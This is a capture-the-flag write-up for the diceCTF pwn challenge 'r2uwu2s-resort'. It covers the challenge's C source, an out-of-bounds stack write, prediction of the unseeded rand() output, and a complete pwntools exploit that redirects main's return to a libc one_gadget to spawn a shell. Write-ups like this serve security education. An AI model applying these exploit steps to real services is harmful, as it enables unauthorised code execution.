r2uwu2s-resort

r2uwu2s-resort was the easy pwn challenge from this year's diceCTF. While I didn't look much at this challenge during the CTF (as it was released later on, and I was focused on locked_room), I did look at it after the CTF and locked_room, and solved it, so here's my writeup for it.

Reversing

Checksec

Full protections on resort

It wouldn't be a diceCTF challenge if it were missing any proections (except FORTIFY, but who actually cares about that). We're also given source code:

#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <stdbool.h>
#include <time.h>
#include <unistd.h>

#define ANSI_RESET "\x1b[0m"
#define ANSI_COLOR(x) "\x1b[0;" x "m"
#define ANSI_RED ANSI_COLOR("31")
#define ANSI_GREEN ANSI_COLOR("32")
#define ANSI_YELLOW ANSI_COLOR("33")
#define ANSI_BLUE ANSI_COLOR("34")
#define ANSI_MAGENTA ANSI_COLOR("35")
#define ANSI_CYAN ANSI_COLOR("36")
#define ANSI_WHITE ANSI_COLOR("37")
#define ANSI_BRIGHT_RED ANSI_COLOR("91")
#define ANSI_BRIGHT_GREEN ANSI_COLOR("92")
#define ANSI_BRIGHT_YELLOW ANSI_COLOR("93")
#define ANSI_BRIGHT_BLUE ANSI_COLOR("94")
#define ANSI_BRIGHT_MAGENTA ANSI_COLOR("95")
#define ANSI_BRIGHT_CYAN ANSI_COLOR("96")
#define ANSI_BRIGHT_WHITE ANSI_COLOR("97")
#define ANSI_ERASE "\x1b[2J"

#define sleep_ms(x) usleep(x * 1000)

typedef struct {
  int8_t hp;
} dustbunny;

void print_bunny(dustbunny* bunny, char paw) {
  if (bunny->hp > 50) {
    printf("%1$c{ ^^ }%1$c", paw);
  } else if (bunny->hp > 0) {
    printf("%1$c{ oo }%1$c", paw);
  } else {
    printf("%1$c{ xx }%1$c", paw);
  }
}

void print_ui(char* msg, dustbunny bunnies[static 3], uint8_t hp, uint8_t mp) {
  printf(
    ANSI_BRIGHT_RED \
    "                                        \n" \
    "  +==================================+  \n" \
    "  |                                  |  \n" \
    "  | "
  );
  printf("%-32s", msg);
  printf(
    " |  \n" \
    "  |                                  |  \n" \
    "  |     "
  );
  print_bunny(&bunnies[0], '*');
  print_bunny(&bunnies[1], '\'');
  print_bunny(&bunnies[2], '.');
  printf(
    "     |  \n" \
    "  |                                  |  \n" \
    "  +==================================+  \n" \
    "  |                                  |  \n" \
    "  | r2uwu2 @ "
  );
  printf("%-23p", &print_ui);
  printf(
    " |  \n" \
    "  | ------ HP ["
  );
  for (uint8_t i = 0; i < 20; i++) {
    printf(i < hp / 5 ? "#" : " ");
  }
  printf(
    "] |  \n" \
    "  |        MP ["
  );
  for (uint8_t i = 0; i < 20; i++) {
    printf(i < mp / 5 ? "*" : " ");
  }
  printf(
    "] |  \n" \
    "  |                                  |  \n" \
    "  +==================================+  \n" \
    "                                        \n" \
    ANSI_RESET
  );
}

char* items[] = {
  "random bs",
  "spooky rizz",
  "dr chatterjee",
  "DOM CLOBBERING",
};

int main() {
  dustbunny bunnies[3] = {
    {
      .hp = 96,
    },
    {
      .hp = 99,
    },
    {
      .hp = 97,
    }
  };
  uint8_t hp = 100;
  uint8_t mp = 100;

  char msg[33] = "3 Dust Bunnies block your path! ";
  while (true) {
    print_ui(msg, bunnies, hp, mp);

    int item = rand() % 4;
    int choice;
    printf("Attack with [%s] against which bunny? (1-3) > ", items[item]);
    fflush(stdout);
    if (scanf("%d%*[^\n]", &choice) == 0) {
      puts("bad input >:(");
      fflush(stdout);
      return 1;
    }

    uint8_t dmg;
    if (item == 3) {
      bunnies[choice - 1].hp = 0;
    } else {
      dmg = rand() % 255;
      bunnies[choice - 1].hp -= dmg;
    }

    hp -= 1;
    if (bunnies[choice - 1].hp <= 0) {
      sprintf(msg, "Bunny %d has fallen!", choice);
    } else {
      sprintf(msg, "Bunny %d took %d damage!", choice, dmg);
    }

    if (bunnies[0].hp <= 0 && bunnies[1].hp <= 0 && bunnies[2].hp <= 0) {
      puts("r2uwu2 wins!");
      fflush(stdout);
      return 0;
    } else if (hp < 0) {
      puts("the resort wins...");
      fflush(stdout);
      return 1;
    }
  }
}

The program seems to be a kind of turn based singler player game, where we have to defeat 3 bunnies (it's mean 😢, but anything for a flag) by selecting one each turn, then we do a "random" (more on this later) amount of damage to it, or have a ¼ chance to kill it insantly (i.e reduce its .hp to 0). Each bunny is of type dustbunny, which is just:

typedef struct {
  int8_t hp;
} dustbunny;

So basically just a int8_t (i.e. a one byte value).

The program ends when either all the bunnies die, or we do.

PIE Leak

printf("%-23p", &print_ui);

Even though we have PIE enabled, the challenge decides to give us a PIE leak for free anyways, how nice of them! why they simply didn't just disable PIE is beyond me.

(B)OOB: (Bunny) Out of Bounds

The bug here is fairly obvious: no bounds check on which bunny we decide to attack. This means we can subtract "random" values from arbitrary int8_ts on the stack, however since we can't control the output of rand(), how do we control this OOB?

Exploitation

Predicting rand

If we can't control the values we subtract, then the next best thing is to be able to predict them, so when a useful value comes along, we can use it for a specific write to some index. Thankfully, rand isn't as random as you may expect. rand is a pseudo-random generator, which means the numbers aren't truly random, and just appear to be so. These tend to work by applying mathematical operations to a current state to yield a new one, so they're deterministic, and they need a starting seed value to determine an initial state. Importantly, this means if we know the initial seed, we can predict all the generated numbers.

rand uses srand to seed it, and a common pattern is doing srand(time(NULL)) at the start of programs, which seeds based on the current time, however there is no call to srand at all in the program!

By default, rand is seeded with 0, so we can generate all the attacks:

import ctypes
dll = ctypes.CDLL("libc.so.6")
#dll.srand(0)    # if you want to be safe

def attack_gen():
    while True:
        item = dll.rand() % 4
        dmg = None
        if item != 3:
            dmg = -(dll.rand() % 255)
        yield (item, dmg)

Immortality?

Another limitation to get around is our hp. hp starts at 100, and goes down by 1 every turn, so we'd only have roughly 100 writes. Since we don't have controlled writes, many of those 100 won't be useful to us, at least not easily, plus the address randomization potentially decreasing reliability of finding the necessary writes.

So what if we used our OOB to hit hp?

hp = 100
hp -= 1

Unfortunately no good, because hp is stored in the register r12!

However, it turns out we actually don't need to worry about this at all! If we take a closer look at how hp is defined, we see that it's actually unsigned: uint8_t hp = 100;. And since the check is for hp < 0, NOT hp <= 0 like with the bunnies, this will NEVER pass.

In fact, the compiler recognises this, and just removes this check entirely:

No "the resort wins" string

The plan

Since we have only a PIE leak (no libc), we can only write PIE addresses, so our attack options are limited. Ideally we'd want to attack the return address, which already has a libc address: __libc_start_call_main+128.

While we don't have a libc leak, we do have a subtract primitive as opposed to just a write one, so we can use this to our advantage!

We don't need to know all the bits of the address, we just need to know the offset from the address to where we'd want to jump, most likely a one_gadget, then we can subtract from each byte to effectively subtract that offset!

So, what one_gadgets do we have?

one_gadget libc.so.6

And this is the state of the registers on returning from main:

return from main

The biggest thing to note is that none of these gadgets will work, because rbp-0xXX needs to be writable, and rbp=1. So if we're going to use a one_gadget, we will need to change rbp to some writable address, like a PIE one. We can do this by writing to the stack, as rbp is saved at the start of main, and restored at the end along with r12-r15 and rbx.

Restore saved registers

However with many of these gadgets, we'll need to fix other constraints too, except for 2 of them:

r10 == NULL
rax == NULL

While r10 == NULL happens by chance (probably from some system call), we can see that rax == NULL comes from the return 0;. So all these gadgets need is a valid, writable rbp, which we can use PIE+0x4100 for.

PIE+0x4100

So the plan is:

  1. Overwrite saved rbp to point to PIE+0x4100.

  2. Overwrite return address to point to a one_gadget.

  3. Kill the 3 bunnies to return, and trigger the one_gadget.

Implementation

Now let's implement the attack:

attacks = attack_gen()

def do_subs(subs):
    payload = ""
    while subs:
        item, dmg = next(attacks)
        if item == 3:
            payload += "0\n"
            continue
        for i in range(len(subs)):
            sub, off = subs[i]
            if sub == abs(dmg):
                payload += str(off+1) + "\n"
                subs.pop(i)
                break
        else:
            payload += "0\n"
    return payload

def gen_subs(after, before, off):
    assert len(before) == len(after)
    subs = []
    for i, (a, b) in enumerate(zip(after, before)):
        if a == b:
            continue
        subs.append(((b-a) % 256, off+i))
    return subs

def kill_bunnies():
    payload = ""
    i = 0
    while i < 3:
        item, dmg = next(attacks)
        if item == 3 or dmg >= [96, 99, 97][i]:
            payload += str(i+1)+"\n"
            i += 1
        else:
            payload += "0\n"
    return payload

one_gadget = p64(0xebd43)[:3]
ret = p64(libc.sym.__libc_start_call_main+128)[:3]

subs = []
subs += gen_subs(one_gadget, ret, 0x6c)
subs += gen_subs(p64(e.address + 0x4101), p64(1), 0x64)

payload = do_subs(subs) + kill_bunnies()
p.send(payload.encode())
p.recvuntil(b"r2uwu2 wins!")
p.interactive()

Since our write primitive is a subtraction, we either need to know the current value of what we're overwriting, or set it to 0 first using DOM CLOBBERING (which we don't need to use as we know the values).

So what gen_subs does is generate a list of what values should be subtracted from each index, and we generate this for the one_gadget and saved rbp writes.

Then do_subs will generate the payload to do these, in no particular order, as these writes don't have an effect until we return. If we have an attack that's useless to us, we send it to an irrelevant index, like -1.

Finally we need to return, so then we kill the 3 bunnies (RIP 😢) by bringing their hp to 0 or lower.

Exploit

#!/usr/bin/python3
from pwn import *
from sys import argv
import ctypes

e = context.binary = ELF('./resort_patched')
libc = ELF('./libc.so.6', checksec=False)
ld = ELF('./ld-linux-x86-64.so.2', checksec=False)
if args.REMOTE:
    ip, port = "dicec.tf", 32030
    conn = lambda: remote(ip, port)
else:
    conn = lambda: e.process()

dll = ctypes.CDLL("libc.so.6")

p = conn()

p.recvuntil(b"r2uwu2 @ ")
print_ui = int(p.recvuntil(b" "), 16)
log.info(f"print_ui: {hex(print_ui)}")

e.address = print_ui - e.sym.print_ui
log.info(f"PIE: {hex(e.address)}")

def attack_gen():
    while True:
        item = dll.rand() % 4
        dmg = None
        if item != 3:
            dmg = -(dll.rand() % 255)
        yield (item, dmg)

attacks = attack_gen()

def do_subs(subs):
    payload = ""
    while subs:
        item, dmg = next(attacks)
        if item == 3:
            payload += "0\n"
            continue
        for i in range(len(subs)):
            sub, off = subs[i]
            if sub == abs(dmg):
                payload += str(off+1) + "\n"
                subs.pop(i)
                break
        else:
            payload += "0\n"
    return payload

def gen_subs(after, before, off):
    assert len(before) == len(after)
    subs = []
    for i, (a, b) in enumerate(zip(after, before)):
        if a == b:
            continue
        subs.append(((b-a) % 256, off+i))
    return subs

def kill_bunnies():
    payload = ""
    i = 0
    while i < 3:
        item, dmg = next(attacks)
        if item == 3 or dmg >= [96, 99, 97][i]:
            payload += str(i+1)+"\n"
            i += 1
        else:
            payload += "0\n"
    return payload

"""
0xebd43 execve("/bin/sh", rbp-0x50, [rbp-0x70])
constraints:
  address rbp-0x50 is writable
  rax == NULL || {rax, [rbp-0x48], NULL} is a valid argv
  [[rbp-0x70]] == NULL || [rbp-0x70] == NULL || [rbp-0x70] is a valid envp
"""

one_gadget = p64(0xebd43)[:3]
ret = p64(libc.sym.__libc_start_call_main+128)[:3]

subs = []
subs += gen_subs(one_gadget, ret, 0x6c)
subs += gen_subs(p64(e.address + 0x4101), p64(1), 0x64)

payload = do_subs(subs) + kill_bunnies()

print(len(payload))
p.send(payload.encode())
p.recvuntil(b"r2uwu2 wins!")
p.interactive()
Getting the flag

dice{clearing_the_dust_with_the_power_of_segmentation_fault_core_dumped_ae1f9557}

Last updated

Was this helpful?